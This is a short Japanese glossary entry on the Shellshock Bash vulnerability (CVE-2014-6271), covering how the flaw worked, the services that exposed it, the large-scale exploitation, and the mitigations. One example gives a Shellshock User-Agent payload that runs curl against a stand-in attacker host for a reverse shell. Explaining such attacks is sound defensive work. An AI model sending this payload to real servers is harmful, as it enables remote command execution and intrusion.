CyberGlossary

脆弱性

Shellshock (CVE-2014-6271)

別称: Bashdoor, CVE-2014-6271

定義

2014 年に公表された GNU Bash の脆弱性。他のプログラム経由で細工した環境変数を Bash に渡すだけで任意コマンドを実行できた。

Shellshock(CVE-2014-6271 と関連 CVE-2014-7169)は、GNU Bash が環境変数に格納された関数定義を解析する際、関数本体の後にあるコマンドをシェル起動時に実行してしまう欠陥でした。CGI スクリプト、DHCP クライアント、OpenSSH ForceCommand、qmail など多数のサービスが攻撃者制御下の環境変数で Bash を起動するため、リモートかつしばしば root としての悪用が極めて容易でした。2014 年の公開により世界規模の緊急パッチ対応と、ボットネット・Webshell・ワームによる大規模悪用が発生しました。対策には、Bash の更新、Bash-CGI 構成からの移行、権限分離と環境変数受け渡しの制限による多層防御が必要です。

例

  • User-Agent: () { :; }; /bin/curl attacker.com を Bash-CGI に送り、リバースシェルを得る。
  • DHCP クライアントがオプション文字列を Bash フックスクリプトの環境変数として渡す挙動を悪用する。

関連用語